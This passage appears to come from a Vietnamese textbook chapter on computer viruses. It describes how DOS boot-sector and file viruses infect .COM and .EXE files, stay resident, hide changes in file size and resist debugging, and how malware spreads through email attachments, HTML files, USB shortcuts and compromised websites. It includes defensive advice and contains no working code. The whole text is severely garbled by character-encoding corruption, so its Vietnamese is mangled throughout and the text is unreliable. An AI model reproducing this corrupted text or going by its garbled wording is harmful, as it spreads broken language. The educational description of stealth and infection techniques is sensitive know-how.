c§c Chip ĽiԚu khiԜn DMA, b  ֥ĽiԚu khiԜn ngԂt, b֥  ĽiԚu khiԜn Ľǫa... Sau Ľ· n· 

sԐ dò tìm các Card thiԒt b֗  gԂn th°m ĽԜ trao quyԚn ĽiԚu khiԜn cho chúng tֽ 

kh i֫ tӴo r֟ i lӸy lӴi quyԚn ĽiԚu khiԜn. Ch¼ Ĩ r¹ng Ľ©y l¨ ĽoӴn chҼҺng tr³nh 

trong ROM (Read Only Memory) nên không thԜ sֹ a Ľ֡i, cȈng nhҼ kh¹ng thԜ 

chèn thêm m֥t ĽoӴn mã nào khác.  

Sau qu§ tr³nh POST, ĽoӴn chҼҺng tr³nh trong ROM tiԒn h¨nh Ľc֙ Boot Sector 

tr°n Ľǫa A hoԊc Master Boot tr°n Ľǫa cnֵg vào RAM (Random Acess 

Memory) tӴi Ľa֗ ch֕ 0:7C00h và trao quyԚn ĽiԚu khiԜn cho ĽoӴn m« Ľ· bԄng  

l n֓h JMP FAR 0:7C00h. Ðây là ch֣ mà B-virus l֯ i d nֱg ĽԜ tӸn công vào 

Boot Sector (Master Boot), nghǫa l¨ n· sԐ thay Boot Sector (Master Boot) 

chuӼn bԄng ĽoӴn mã virus, vì thԒ quyԚn ĽiԚu khiԜn ĽҼc֯ trao cho virus, nó sԐ 

tiԒn hành các hoӴt Ľn֥g cֳ a m³nh trҼc֧, r֟ i sau Ľ· mi֧ tiԒn hành các thao tác 

nhҼ th¹ng thҼn֩g: Ð֙ c Boot Sector (Master Boot) chuӼn mà nó cӸt giӸu  ֫

Ľ©u Ľ· v¨o 0:7C00h ri֟ trao quyԚn ĽiԚu khiԜn cho ĽoӴn mã chuӼn này, và 
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ngҼ֩i sֹ  d nֱg có cӶm giác rông máy tính cֳa mình vӾn hoӴt Ľn֥g bình 

thҼ֩ng. 

2.3.3 M֥ t s֝  k׃ thuԀt cҺ bӶn cֳ a F-virus 

So v֧ i B-virus thì s֝  lҼ֯ng F-virus Ľ¹ng ĽӶo hҺn nhiԚu, có lԐ do các tác vֱ 

Ľǫa vi֧ sֽ  h  ֣tr  ֯c aֳ Int 21 Ľ« tr  ֫nên cֽ c kȢ d  ֑dàng và thoӶi m§i, Ľ· l¨ ĽiԚu 

ki n֓ phát triԜn cho các F-virus. ThҼn֩g thì các F-virus ch֕ lây lan trên các file 

khӶ thi (c· Ľu¹i .COM hoԊc .EXE), tuy nhiên m֥t nguyên tԂc mà virus phӶi 

tuân thֳ  là: Khi thi hành m֥t file khӶ thi b  ֗lây nhi֑ m, quyԚn ĽiԚu khiԜn phӶi 

n¹m trong tay virus trҼc֧ khi virus trӶ nó lӴi cho file b֗ nhi֑ m, và khi file 

nhԀn lӴi quyԚn ĽiԚu khiԜn, tӸt cӶ m i֙ d  ֻli u֓ cֳ a file phӶi ĽҼc֯ bӶo toàn. Ð֝ i 

v i֧ F-virus, có m֥ t s֝  k׃ thuԀt ĽҼc֯ nêu ra ֫ Ľ©y: 

 Kύ thuͻt lây lan 

Các F-virus chֳ  yԒu sֹ  d nֱg hai k׃ thuԀt: th°m v¨o ĽӺu và thêm vào cu֝i  

2.3.3.1 Th°m v¨o Ľuͭ file 

Th¹ng thҼn֩g, phҼҺng ph§p n¨y ch ֕áp dֱ ng cho các file .COM, tֵc là 

ĽӺu vào cֳa chҼҺng tr³nh lu¹n lu¹n tӴi PSP:100h. L֯i d nֱg ĽӺu vào c֝  Ľ֗nh, 

virus ch¯n ĽoӴn mã c aֳ chҼҺng tr³nh virus v¨o ĽӺu chҼҺng tr³nh Ľi֝ tҼn֯g, 

ĽӼy toàn b֥  chҼҺng tr³nh Ľi֝ tҼn֯g xu֝ ng ph²a dҼi֧. Cách này có m֥t nhҼc֯ 

ĽiԜm l¨ do ĽӺu vào c֝  Ľ֗nh cֳ a chҼҺng tr³nh .COM l¨ PSP:100, cho n°n trҼc֧ 

khi trӶ lӴi quyԚn ĽiԚu khiԜn cho chҼҺng tr³nh, phӶi ĽӼy lӴi toàn b֥  chҼҺng 

trình lên bԂt ĽӺu tַ  offset 100h. C§ch l©y n¨y g©y kh· khŁn cho nhnֻg ngҼi֩ 

khôi phֱ c vì phӶi Ľc֙ toàn b֥  file vào vùng nh֧ r i֟ m i֧ tiԒn hành ghi lӴi.  

2.3.3.2 Thêm vào cuΧi file 

Khác v֧ i cách lây lan ֫  tr°n, trong phҼҺng ph§p n¨y, ĽoӴn mã cֳ a virus sԐ 

ĽҼ֯c gԂn vào sau cֳa chҼҺng tr³nh Ľi֝ tҼn֯g. PhҼҺng ph§p n¨y ĽҼc֯ thӸy 

trên hӺu hԒt các loӴi virus vì phӴm vi lây lan cֳ a nó r֥ ng r«i hҺn phҼҺng ph§p 

trên. Do thân cֳa virus kh¹ng n¹m Ľ¼ng ĽӺu vào cֳa chҼҺng tr³nh, cho n°n 

ĽԜ chiԒm quyԚn ĽiԚu khiԜn, phӶi th cֽ hi֓ n k׃ thuԀt sau Ľ©y:  

Ð i֝ v i֧ file .COM: Thay c§c byte ĽӺu tiên cֳ a chҼҺng tr³nh (ĽӺu vào) bԄng 

m t֥ l n֓h nhӶy JMP, chuyԜn ĽiԚu khiԜn ĽԒn ĽoӴn mã cֳ a virus. E9 xx xx   

JMP Entry virus. 

Ð i֝ v i֧ file .EXE: Ch֕  cӺn Ľ֗nh v֗  lӴi h  ֓th n֝g các thanh ghi SS, SP, CS, IP 

trong Exe Header ĽԜ trao quyԚn ĽiԚu khiԜn cho phӺn mã virus. 
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 Hình 2-29  Lây v֧ i file .EXE 

Ngoài hai k׃ thuԀt lây lan chֳ  yԒu trên, có m֥t s֝  ít các virus sֹ d nֱg m֥ t s֝  

các k׃ thuԀt ĽԊc bi֓ t kh§c nhҼ m« ho§ phӺn mã cֳ a chҼҺng tr³nh virus trҼc֧ 

khi gh®p ch¼ng v¨o file ĽԜ ngֱ y trang, hoԊc thԀm chí thay thԒ m t֥ s֝  ĽoӴn mã 

ngԂn trong file Ľi֝ tҼn֯g bԄng c§c ĽoӴn mã cֳa virus, g©y kh· khŁn cho qu§ 

trình khôi phֱ c. Khi tiԒn h¨nh l©y lan tr°n file, Ľi֝ v i֧ c§c file ĽҼc֯ ĽԊt các 

thu֥ c tính Sys (h֓ th n֝g), Read Only (ch֕ Ľ֙c), Hidden (Ӽn), phӶi tiԒn hành 

Ľ֡i lӴi các thu֥c t²nh Ľ· ĽԜ có thԜ truy nhԀp, ngoài ra vi֓c truy nhԀp cȈng 

thay Ľi֡ lӴi ngày gi֩  cԀp nhԀt cֳ a file, vì thԒ hӺu hԒt c§c virus ĽԚu lҼu lӴi 

thu֥ c tính, ngày gi֩ cԀp nhԀt cֳ a file ĽԜ sau khi lây nhi֑m sԐ trӶ lӴi y nguyên 

thu֥ c tính và ngày gi֩ cԀp nhԀt ban ĽӺu cֳ a nó.Ngoài ra, vi֓c c֝  gԂng ghi lên 

Ľǫa mԚm có dán nhãn bӶo v֓  cȈng tӴo ra dòng thông báo l֣i c aֳ DOS: Retry - 

Aboart - Ignoreô, nԒu không xֹ  lý t t֝ thì d֑  b  ֗ngҼ֩i sֹ  d nֱg phát hi֓n ra sֽ  

có mԊt cֳ a virus. L֣ i kiԜu n¨y ĽҼc֯ DOS kiԜm soát bԄng ngԂt 24h, cho nên 

các virus mu֝n tránh các thông báo kiԜu này cֳ a DOS khi tiԒn hành lây lan 

phӶi thay ngԂt 24h cֳ a DOS trҼc֧ khi tiԒn hành lây lan r֟i sau Ľ· ho¨n trӶ.  

2.3.3.3 Kύ thuͻt Ľmͩ bͩ o tính tΩn t iͧ duy nhͫ t 

CȈng gin֝g nhҼ B-virus, m֥ t yêu cӺu nghiêm ngԊt ĽԊt ra Ľi֝ v i֧ F-virus là 

tính t֟ n tӴi duy nhӸt cֳ a mình trong b֥ nh֧  cȈng nhҼ tr°n file. Trong v½ng 

nh֧ , th¹ng thҼn֩g các F-virus sֹ  d nֱg hai k׃ thuԀt chính: 

Th  ֵnhӸt là tӴo thêm chֵc nŁng cho DOS, bԄng cách sֹ  d nֱg m֥ t chֵ c 

nŁng con n¨o Ľ· trong Ľ· ĽԊt chֵ c nŁng ln֧ hҺn chcֵ nŁng cao nhӸt mà 

DOS có. ÐԜ kiԜm tra ch֕ cӺn g֙ i ch cֵ nŁng n¨y, gi§ tr ֗trӶ lӴi trong 

thanh ghi quyԒt Ľn֗h sֽ  t n֟ tӴi c aֳ virus trong b֥ nh֧  hay chҼa. 

Cách thֵ  hai là so sánh m֥tĽoӴn mã trong vùng nh֧ Ӹn Ľ֗nh v֧ i ĽoӴn mã 

c aֳ virus, nԒu có sֽ  chênh l֓ch th³ c· nghǫa l¨ virus chҼa c· mԊt trong 

vùng nh֧  và sԐ tiԒn hành lây lan. Trên file, có thԜ có các cách kiԜm tra 

nhҼ kiԜm tra bԄng  test logic nào Ľ· vi֧ các thông tin cֳa Entry trong 
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thҼ mcֱ cֳ a file n¨y. C§ch n¨y kh¹ng ĽӶm bӶo tính chính xác tuy֓t Ľi֝ 

song nԒu thiԒt kԒ t t֝ thì khӶ nŁng tr½ng lԊp cȈng hӴn chԒ, hӺu nhҼ kh¹ng 

có, ngoài ra m֥t Ҽu ĽiԜm là t֝ c thֽ c hi֓ n kiԜm tra rӸt nhanh. Ngoài ra có 

thԜ kiԜm tra bԄng cách dò m֥t ĽoӴn m« ĽԊc trҼng (key value) caֳ virus 

tӴi v  ֗trí Ӹn Ľ֗nh n¨o Ľ· tr°n file, v² d ֱtrên các byte cu֝i cùng cֳ a file.  

2.3.3.4 Kύ thuͻt l̯u tr¼  

Ðây là m֥ t k׃ thuԀt kh· khŁn, lĨ do l¨ DOS ch ֕cung cӸp chֵ c nŁng 

thҼ֩ng tr¼ cho chҼҺng tr³nh, nghǫa l¨ ch ֕ cho phép cӶ chҼҺng tr³nh 

thҼ֩ng trú. Vì vԀy nԒu sֹ  d nֱg chֵ c nŁng caֳ DOS, chҼҺng tr³nh virus 

mu֝ n thҼn֩g trú thì cӶ file Ľi֝ tҼn֯g cȈng phӶi thҼn֩g tr¼, m¨ ĽiԚu này 

thì không thԜ ĽҼ֯c nԒu k²ch thҼc֧ cֳ a file Ľi֝ tҼn֯g quá l֧ n. Chính vì lý 

do trên, hӺu hԒt c§c chҼҺng tr³nh virus mun֝ thҼn֩g tr¼ ĽԚu phӶi thao 

tác qua mԊt DOS trên chu֣i MCB bԄng phҼҺng ph§p "th ֳc¹ng". CŁn c ֵ

vào vi֓ c thҼn֩g tr¼ ĽҼc֯ thֽ c hi֓ n trҼc֧ hay sau khi chҼҺng tr³nh Ľi֝ 

tҼ֯ng thi hành, có thԜ chia k׃ thuԀt thҼn֩g trú thành hai nhóm: 

2.3.3.5 Thγ̯ng tr¼ tr̯αc khi tr  ͩquyΖn ĽiΖu khiΘn 

NhҼ Ľ« n·i  ֫trên, DOS không cung cӸp m֥ t chֵ c nŁng n¨o cho kiԜu 

thҼ֩ng tr¼ n¨y, cho n°n chҼҺng tr³nh virus phӶi t  ֽthu xԒp. Các cách sau 

Ľ©y Ľ« ĽҼc֯ virus d½ng ĽԒn:  

- Thao t§c tr°n MCB ĽԜ tách m֥ t kh֝ i vùng nh֧  ra kh֛ i quyԚn ĽiԚu 

khiԜn cֳ a DOS, r֟ i dùng vùng n¨y ĽԜ chֵ a chҼҺng tr³nh virus.  

- T  ֽĽ֗nh v֗  v  ֗ trí trong b֥  nh֧  ĽԜ tӶi phӺn thҼn֩g trú cֳ a virus vào, 

thҼ֩ng thì các virus ch֙n  ֫vùng nh֧  cao, ph²a dҼi֧ phӺn tӴm trú cֳ a 

file command.com ĽԜ tránh b֗ ghi Ľ¯ khi h ֓ th n֝g tӶi lӴi 

command.com. Vì không cӸp phát b֙  nh֧  cho phӺn chҼҺng tr³nh virus 

Ľang thҼn֩g trú, cho nên command.com hoàn toàn có quyԚn cӸp phát 

vùng nh֧  Ľ· cho c§c chҼҺng tr³nh kh§c, nghǫa l¨ chҼҺng tr³nh thҼҺng 

trú cֳ a virus phӶi chӸp nhԀn sֽ  mӸt mát do may rֳi.  

- ThҼ֩ng trú bԄng chֵ c nŁng thҼn֩g trú 31h: Ðây là m֥t k׃ thuԀt phֵ c 

tӴp, tiԒn trình cӺn thֽ c hi֓ n ĽҼc֯ mô tӶ nhҼ sau: Khi chҼҺng tr³nh virus 

ĽҼ֯c trao quyԚn, nó sԐ tӴo ra m֥ t MCB ĽҼc֯ khai báo là phӺn tֹ  trung 

gian trong chu֣i MCB ĽԜ chֵ a chҼҺng tr³nh virus, sau Ľ· lӴi tӴo tiԒp 

m t֥ MCB m i֧ ĽԜ cho chҼҺng tr³nh b ֗nhi֑ m bԄng cách d֩i chҼҺng 

trình xu֝ ng vùng m֧ i này. ÐԜ thay Ľi֡ PSP m¨ DOS Ľang lҼu gi ֻ

th¨nh PSP m¨ chҼҺng tr³nh virus tӴo ra cho chҼҺng tr³nh Ľi֝ tҼn֯g, 

phӶi sֹ  d nֱg chֵ c nŁng 50h caֳ ngԂt 21h.  
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2.3.3.6 Thγ̯ng tr¼ sau khi Ľotͧ l iͧ quyΖn ĽiΖu khiΘn 

ChҼҺng tr³nh virus lӸy t°n chҼҺng tr³nh Ľang thi h¨nh trong m¹i trҼn֩g 

c aֳ DOS, r֟ i nó thi hành ngay chính bӶn thân mình. Sau khi thi hành 

xong, quyԚn ĽiԚu khiԜn lӴi ĽҼc֯ trӶ vԚ cho virus, v¨ khi Ľ· n· mi֧ tiԒn 

h¨nh thҼn֩g trú m֥ t cách b³nh thҼn֩g bԄng chֵ c nŁng 31h caֳ ngԂt 21h.  

2.3.3.7 Kύ thuͻt che dͫ u và gây nhiΚu 

M t֥ nhҼc֯ ĽiԜm không tránh kh֛i l¨ file Ľi֝ tҼn֯g b֗ lây nhi֑ m virus sԐ 

b  ֗tŁng k²ch thҼc֧. M t֥ s֝  virus ngֱ y trang bԄng cách khi sֹ  d nֱg chֵ c 

nŁng DIR caֳ DOS, virus chi ph֝ i ch cֵ nŁng t³m kiԒm file (chֵ c nŁng 

11h và 12h cֳa ngԂt 21h) ĽԜ giӶm k²ch thҼc֧ cֳ a file b֗  lây nhi֑ m 

xu n֝g, vì thԒ khi virus Ľang chi phi֝ máy tính, nԒu sֹ  d nֱg l֓ nh DIR 

c aֳ DOS, hoԊc các l֓ nh sֹ  d nֱg chֵ c nŁng t³m kiԒm file  ֫tr°n ĽԜ có 

thông tin vԚ entry trong bӶng thҼ mcֱ, thì thӸy k²ch thҼc֧ file b֗  lây 

nhi֑ m vӾn bԄng k²ch thҼc֧ cֳ a file ban ĽӺu, ĽiԚu n¨y Ľ§nh laַ ngҼi֩ sֹ  

d nֱg vԚ sֽ   trong sӴch cֳ a file này. 

M t֥ s֝  virus còn gây nhi֑u bԄng cách mã hoá phӺn l n֧ chҼҺng tr³nh 

virus, ch֕ khi nào vào vùng nh֧ , chҼҺng tr³nh mi֧ ĽҼc֯ giӶi m« ngҼc֯ 

lӴi. M t֥ s֝  virus anti-debug bԄng cách chiԒm ngԂt 1 và ngԂt 3. B֫ i vì các 

chҼҺng tr³nh debug thcֽ chӸt phӶi dùng ngԂt 1 và ngԂt 3 ĽԜ thi hành 

t nַg bҼc֧ m֥ t, cho nên khi virus chiԒm các ngԂt này r֟ i m¨ ngҼi֩ lԀp 

tr³nh d½ng debug ĽԜ theo dõi virus thì kԒt quӶ kh¹ng lҼn֩g trҼc֧ ĽҼc֯.  

2.3.3.8 Kύ thuͻt phá hoͧ i  

Th¹ng thҼn֩g, các F-virus cȈng s ֹd nֱg cách thֵc và k׃ thuԀt phá hoӴi 

gi n֝g nhҼ B-virus. Có thԜ phá hoӴi m t֥ c§ch Ľn֗h th֩ i, liên tֱ c hoԊc 

ngӾu nhiên. Ð֝ i tҼ֯ng phá hoӴi có thԜ l¨ m¨n h³nh, loa, Ľǫa,...   

2.3.3.9 Kύ thuͻt d n̈h quyΖn ĽiΖu khuyΘn cνa  F-virus 

Khi DOS t֡  chֵ c thi hành File khӶ thi (bԄng chֵ c nŁng 4Bh caֳ ngԂt 

21h), nó sԐ t  ֡chֵ c lӴi vùng nh֧ , tӶi File cӺn thi hành và trao quyԚn ĽiԚu 

khiԜn cho File Ľ·. F-virus l֯ i d nֱg ĽiԜm này bԄng cách gԂn ĽoӴn mã cֳ a 

m³nh v¨o file Ľ¼ng tӴi v  ֗trí mà DOS trao quyԚn ĽiԚu khiԜn cho File sau 

khi Ľ« tӶi vào vùng nh֧. Sau khi F-virus tiԒn hành xong các hoӴt Ľn֥g 

c aֳ mình, nó m֧i sԂp xԒp, b֝  trí trӶ lӴi quyԚn ĽiԚu khiԜn cho File ĽԜ cho 

File lӴi tiԒn hành hoӴt Ľn֥g b³nh thҼn֩g, v¨ ngҼi֩ sֹ  d nֱg thì không thԜ 

biԒt ĽҼc֯.Trong các loӴi B-virus và F-virus, có m֥ t s֝  loӴi sau khi dành 

ĽҼ֯c quyԚn ĽiԚu khiԜn, sԐ tiԒn h¨nh c¨i ĽԊt m t֥ ĽoӴn mã cֳ a mình trong 

vùng nh֧  RAM nhҼ mt֥ chҼҺng tr³nh thҼn֩g trú (TSR), hoԊc trong 

vùng nh֧  nôm ngoài tӺm kiԜm soát cֳa DOS, nhôm mֱc Ľ²ch kiԜm soát 
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các ngԂt quan tr֙ng nhҼ ngԂt 21h, ngԂt 13h,... M֣ i khi các ngԂt n¨y ĽҼc֯ 

g i֙, virus sԐ dành quyԚn ĽiԚu khiԜn ĽԜ tiԒn hành các hoӴt Ľn֥g cֳ a mình 

trҼ֧c khi trӶ lӴi các ngԂt chuӼn cֳ a DOS. 

 

2.4 Các hình thֵ c tӸn công cֳ a m« Ľc֥ 

Hi֓n n¨y c· rӸt nhiԚu h³nh thֵc ph§t t§n m« Ľ֥c hӴi, c· thԜ th¹ng 

qua email,  th¹ng qua c§c phӺn mԚm v¨ gԂn m« Ľ֥c v¨o b°n trong, 

th¹ng qua c§c ĽҼ֩ng link trang Web, th¹ng qua vi֓c chia sԎ file USB, 

th¹ng qua c§c l֣ h֡ng h֓ ĽiԚu h¨nh , ֵng dֱng. ..  

  2.4.1. Phát tán qua email sֹ  d nֱg file Ľ²nh k¯m 

  C§ch ph§t t§n m« Ľ֥c hӴi l֧n nhӸt qua email hi֓n nay l¨ c§c 

hacker Ľ²nh k¯m c§c t¨i li֓u Ľ֥c hӴi v¨o email bao g֟m c§c loӴi virus 

lַa ĽӶo, spyware, wormédҼ֧i c§c file kh¹ng r» ngu֟n g֝c, ĽԊc bi֓t l¨ 

c§c file c· Ľu¹i .exe , .com,  .pif, .pdf, .scr, .bat, .rar, .zipé 

   

                Hình 2-30  T֓p tin Ľ֥c hӴi Ľ²nh k¯m qua email 

 PhӺn l֧n c§c cӶnh b§o virus ĽҼ֯c gֹi Ľ²nh k¯m qua e-mail giֻa nhֻng 

ngҼ֩i s ֹdֱng . Virus lַa ĽӶo thҼ֩ng ĽҼ֯c chuyԜn tiԒp trong s֝ nhֻng 

ngҼ֩i sֹ dֱng h¨ng th§ng hoԊc thԀm ch² nhiԚu nŁm b֫i v³ ngҼ֩i d½ng 

tin rԄng h֙ Ľang gi¼p Ľ֭ ngҼ֩i kh§c bԄng c§ch ph©n ph֝i nhֻng cӶnh 
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báo này. MԊc dù các tr¸ lַa ĽӶo thҼ֩ng không gây ra thi֓t hӴi, nhҼng 

m֥t s֝ virus lַa ĽӶo Ľ֥c hӴi trֽc tiԒp làm thay Ľ֡i h֓ ĽiԚu h¨nh c¨i ĽԊt 

hoԊc x·a c§c tԀp tin,  có thԜ gây ra các vӸn ĽԚ vԚ bӶo mԀt hoԊc g©y Ӷnh 

hҼ֫ng t֧i hoӴt Ľ֥ng cֳa h֓ th֝ng. M֥t virus n֡i tiԒng tr¸ lַa b֗p là 

Good Times. 

 Mailing worm hay c¸n g֙i l¨ ñs©u gֹi thҼ h¨ng loӴtò tҼҺng tֽ nhҼ e-

mail virus, ĽiԚu kh§c bi֓t ch²nh l¨ rԄng s©u gֹi thҼ h¨ng loӴt ĽҼ֯c kh®p 

k²n thay v³ l©y nhi֑m m֥t tԀp tin hi֓n c· nhҼ e-mail virus . Khi m֥t 

Mailing worm l©y nhi֑m m֥t h֓ th֝ng, n· thҼ֩ng t³m kiԒm h֓ th֝ng cho 

c§c Ľ֗a ch֕ e-mail v¨ sau Ľ· sԐ gֹi bӶn sao cֳa ch²nh n· ĽԒn nhֻng Ľ֗a 

ch֕ Ľ·, bԄng c§ch sֹ dֱng m֥t trong hai e-mail cֳa kh§ch h¨ng tr°n h֓ 

th֝ng hoԊc gֹi m֥t t֓p tin Ľ֥c hӴi kh®p k²n ĽҼ֯c x©y dֽng v¨o worm. 

M֥t con ñs©u gֹi thҼ h¨ng loӴtò thҼ֩ng gֹi m֥t bӶn sao cֳa ch²nh n· t֧i 

nhiԚu ngҼ֩i c½ng m֥t l¼c. B°n cӴnh l¨m ngҼng tr֓ m§y chֳ e-mail và 

mӴng lҼ֧i v֧i kh֝i lҼ֯ng l֧n e-mail, s©u gֹi thҼ h¨ng loӴt thҼ֩ng g©y 

ra c§c vӸn ĽԚ hi֓u suӸt nghi°m tr֙ng cho h֓ th֝ng b֗ nhi֑m. V² dֱ vԚ 

các Mailing worm: Beagle, Mydoom và Netsky. 

ņԜ bӶo v֓ m§y t²nh trҼ֧c nhֻng Ľ֯t tӸn c¹ng tַ virus lַa ĽӶo hay c§c 

Mailing worm ngҼ֩i d½ng cӺn lu¹n cӶnh gi§c trҼ֧c c§c file Ľ²nh k¯m 

không rõ ngu֟ n g֝c, ĽԊc bi֓t l¨ c§c file c· Ľu¹i  

exe,  .com,  .pif, .scr, .bat, .rar, .zip....  Ngo¨i ra, cӺn cԀp nhԀt phӺn mԚm 

di֓t virus phiԜn bӶn m֧i nhӸt. 

   DҼ֧i Ľ©y l¨ m֥t k֗ch bӶn sֹ dֱng t¨i li֓u Ľ֥c hӴi ĽԜ ph§t t§n v¨ l©y 

nhi֑m g©y hӴi cho ngҼ֩i d½ng. 
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Hình 2-31 : TӸn c¹ng qua email. 

Tin tԊc sֹ dֱng email ĽԜ gֹi cho ngҼ֩i d½ng n֥i dung k¯m theo m֥t file 

Ľ²nh k¯m l¨ file excel. 

Khi ngҼ֩i d½ng kiԜm tra email v¨ thӸy c· file Ľ²nh k¯m, tuy nhiên mã 

Ľ֥c nԄm trong file Ľ²nh k¯m n¨y sԐ b֗ k²ch hoӴt v¨ chӴy Ӽn. M« Ľ֥c ֫ 

Ľ©y l¨ 1 chҼҺng tr³nh keylogger. ChҼҺng tr³nh n¨y sԐ ghi lӴi to¨n b֥ 

th¹ng tin hoӴt Ľ֥ng cֳa nӴn nh©n. Sau Ľ· sԐ gֹi th¹ng tin n¨y qua tr³nh 

duy֓t Webbrowser.  

  2.4.2. Phát tán qua email sֹ  d nֱg  M« HTML Ľc֥ hӴi 

 C§ch ph§t t§n n¨y tin tԊc  sԐ gֹi c§c thҼ Ľi֓n tֹ chֵa  m« HTML Ľ֥c 

hӴi cho ngҼ֩i d½ng  

 

Hình 2-32:  ThҼ Ľi֓n tֹ Ľ²nh k¯m HTML Ľ֥c hӴi 

 C§c thҼ Ľi֓n tֹ n¨y c· n֥i dung rӸt Ľa dӴng. V² dֱ : ñthiԒt lԀp lӴi mԀt 

khӼuò, ñc¨i ĽԊt lӴi chֵc nŁng th¹ng b§oò v¨ Ľ²nh k¯m theo Ľ· l¨ c§c t֓p 

tin HTML giӶ mӴo gֹi tַ c§c mӴng x« h֥i nhҼ ñfacebookò, ñtwitterò 

énhҼng thֽc chӸt trong Ľ· chֵa c§c ĽoӴn script m¨ khi m֫ t֓p tin th³ 

ngҼ֩i d½ng sԐ ĽҼ֯c chuyԜn hҼ֧ng ĽԒn c§c trang web c· chֵa m« Ľ֥c 

hӴi khai th§c l֣ h֡ng cֳa Adobe, Javascripté 
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Hình 2-33:  Minh h֙a Script chֵa trong t֓p tin Ľ²nh k¯m HTML 

     C§c thҼ gֹi nh¼ng c§c link Ľ֥c  ĽҼ֯c x©y dֽng xung quanh 

HTML kh¹ng c· g³ m֧i, nhҼng dҼ֩ng nhҼ Ľ« tr֫ th¨nh m֥t k׃ thuԀt 

n·ng trong nŁm vַa qua. GӺn Ľ©y, c§c tin tԂc bԂt ĽӺu nh¼ng JavaScript 

b°n trong file HTML (chֵ kh¹ng ch֕ l¨ file m֥t Ľ²nh k¯m ĽҺn giӶn), ĽԜ 

gֹi  Trojan Zeus chuy°n lӸy cԂp t¨i khoӶn ng©n h¨ng 

    ChiԒn d֗ch m֧i nhӸt cֳa c§c tin tŁc l¨ c֝ gԂng ĽԜ ngҼ֩i nhԀn thҼ 

nhӸn chu֥t v¨o Ľ²nh k¯m HTML "v¹ hӴi", nhҼng thֽc chӸt l¨ k²ch hoӴt 

m֥t m« Ľ֥c bԄng JavaScript, ĽҼa nӴn nh©n ĽԒn m֥t loӴt website không 

ĽӶm bӶo. 

Cֱ thԜ, m֥t quӶng c§o th¹ng thҼ֩ng cho phӺn mԚm ch֝ng virus 

giӶ mӴo, khi ĽҼ֯c click v¨o, sԐ c¨i ĽԊt m֥t c֡ng hԀu (back door) l°n 

m§y t²nh ngay cӶ khi tr³nh duy֓t ĽҼ֯c Ľ·ng lӴi. NhҼ vԀy, khi nhӸn chu֥t 

v¨o Ľ²nh k¯m HTML th³ Ľ« l¨ qu§ mu֥n. 
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  Hinh 2-34 : GiӶ mӴo phӺn mԚm di֓t virus 

Nhֻng c§ch ph¸ng thֳ duy nhӸt ch֝ng lӴi loӴi tӸn c¹ng kiԜu n¨y l¨ l֙c 

thҼ r§c (spam) tӴi c֡ng ra v¨o (gateway) ĽԜ n· kh¹ng bao gi֩ ĽԒn ĽҼ֯c 

ngҼ֩i sֹ dֱng, hoԊc Ľ֝i v֧i ngҼ֩i sֹ dֱng th³ v¹ hi֓u h·a JavaScript 

trong tr³nh duy֓t. PhӺn mԚm bӶo mԀt tr°n PC c· thԜ t·m ĽҼ֯c mã khai 

thác. 

HҺn nֻa, t֓p tin Ľ²nh k¯m HTML. C· thԜ b֛ qua chҼҺng tr³nh ch֝ng 

virus t²ch h֯p trong c§c m§y chֳ mail, b֫i v³ m֥t tԀp tin. Html ch²nh n· 

kh¹ng chֵa m« Ľ֥c hӴi hoԊc m« khai th§c, nhҼng m֥t li°n kԒt ĽԒn m֥t 

trang web ĽҼ֯c thֽc hi֓n b֫i c§c hacker. Do Ľ·, n· hӺu nhҼ kh¹ng ĽҼ֯c 

ph§t hi֓n b֫i c§c chҼҺng tr³nh ch֝ng virus.  

V³ vԀy, cӺn khuyԒn ngh֗ ngҼ֩i d½ng n©ng cao nhԀn thֵc cֳa bӸt 

kȢ tԀp tin Ľ²nh k¯m trong c§c email kh¹ng r». Ngo¨i ra, ngҼ֩i sֹ dֱng 

cӺn thҼ֩ng xuy°n cԀp nhԀt phӺn mԚm tr°n m§y t²nh cֳa h֙ v¨ c¨i ĽԊt 

chҼҺng tr³nh ch֝ng virus ĽԜ bӶo v֓ ch֝ng virus.  
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  2.4.3. Phát tán qua USB 

 

     Hinh 2-34: Phát tán qua USB 

ņ©y l¨ m֥t h³nh thֵc ph§t t§n m« Ľ֥c rӸt ph֡ biԒn. TrҼ֧c Ľ©y, virus 

AutoRun tַng ho¨nh h¨nh v֧i cҺ chԒ m֫ ֡ Ľǫa l¨ k²ch hoӴt m« Ľ֥c. ņiԚu 

Ľ· khiԒn t֝c Ľ֥ l©y lan cֳa d¸ng vir¼t n¨y tr֫ n°n kh¹ng thԜ kiԜm so§t. 

Microsoft Ľ« bu֥c phӶi quyԒt Ľ֗nh cԂt b֛ t²nh nŁng AutoRun Ľ֝i v֧i 

USB tַ Windows 7 v¨ tr°n cӶ Windows XP phi°n bӶn cԀp nhԀt. 

Hi֓n tӴi tin tԊc Ľ« nghǫ ra m֥t phҼҺng §n m֧i ĽԜ thֽc hi֓n l©y nhi֑m m« 

Ľ֥c, ngҼ֩i d½ng  khi m֫ USB b֗ nhi֑m virus, ngҼ֩i sֹ dֱng sԐ thӸy m֥t 

֡ Ľǫa nֻa trong USB Ľ· v¨ phӶi m֫ tiԒp ֡ Ľǫa thֵ hai n¨y m֧i thӸy ĽҼ֯c 

dֻ li֓u. Thֽc chӸt ֡ Ľǫa thֵ hai ch²nh l¨ m֥t shortcut chֵa file virus. Khi 

ngҼ֩i d½ng m֫ dֻ li֓u cȈng l¨ l¼c m§y t²nh b֗ nhi֑m m« Ľ֥c tַ USB. 

D½ cҺ chԒ AutoRun Ľ« b֗ loӴi b֛, nhҼng v֧i sֽ xuӸt hi֓n cֳa 

W32.UsbFakeDrive, virus tr°n USB c· thԜ l©y ph§t t§n nhanh ch֕ v֧i 

thao t§c truy cԀp v¨o ֡ Ľǫa USB cֳa ngҼ֩i d½ng. 

  2.4.4 Phát tán dֽ a tr°n link Ľc֥ hӴi. 
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   Hình 2-35 Ph§t t§n dֽa tr°n c§c link Ľ֥c hӴi 

 L¨ m֥t h³nh thֵc tӸn c¹ng kh§ ph֡ biԒn. PhҼҺng thֵc n¨y c· thԜ m¹ tӶ 

nhҼ sau: 

NgҼ֩i d½ng truy cԀp v¨o m֥t Website n¨o Ľ· Ľ« b֗ gԂn ĽoӴn m« Ľ֥c, cֱ 

thԜ l¨ Javascript Ľ« ĽҼ֯c m« h·a. Khi  Ľ· ngҼ֩i d½ng tֽ Ľ֥ng sԐ chuyԜn 

ĽԒn 1 trang web chֵa m« Ľ֥c v¨ tֽ Ľ֥ng sԐ tӶi m« Ľ֥c Ľ· vԚ v¨ c¨i l°n 

m§y t²nh(dֽa v¨o l֣ h֡ng phӺn mԚm hoԊc h֓ ĽiԚu h¨nh). Sau Ľ· c§c 

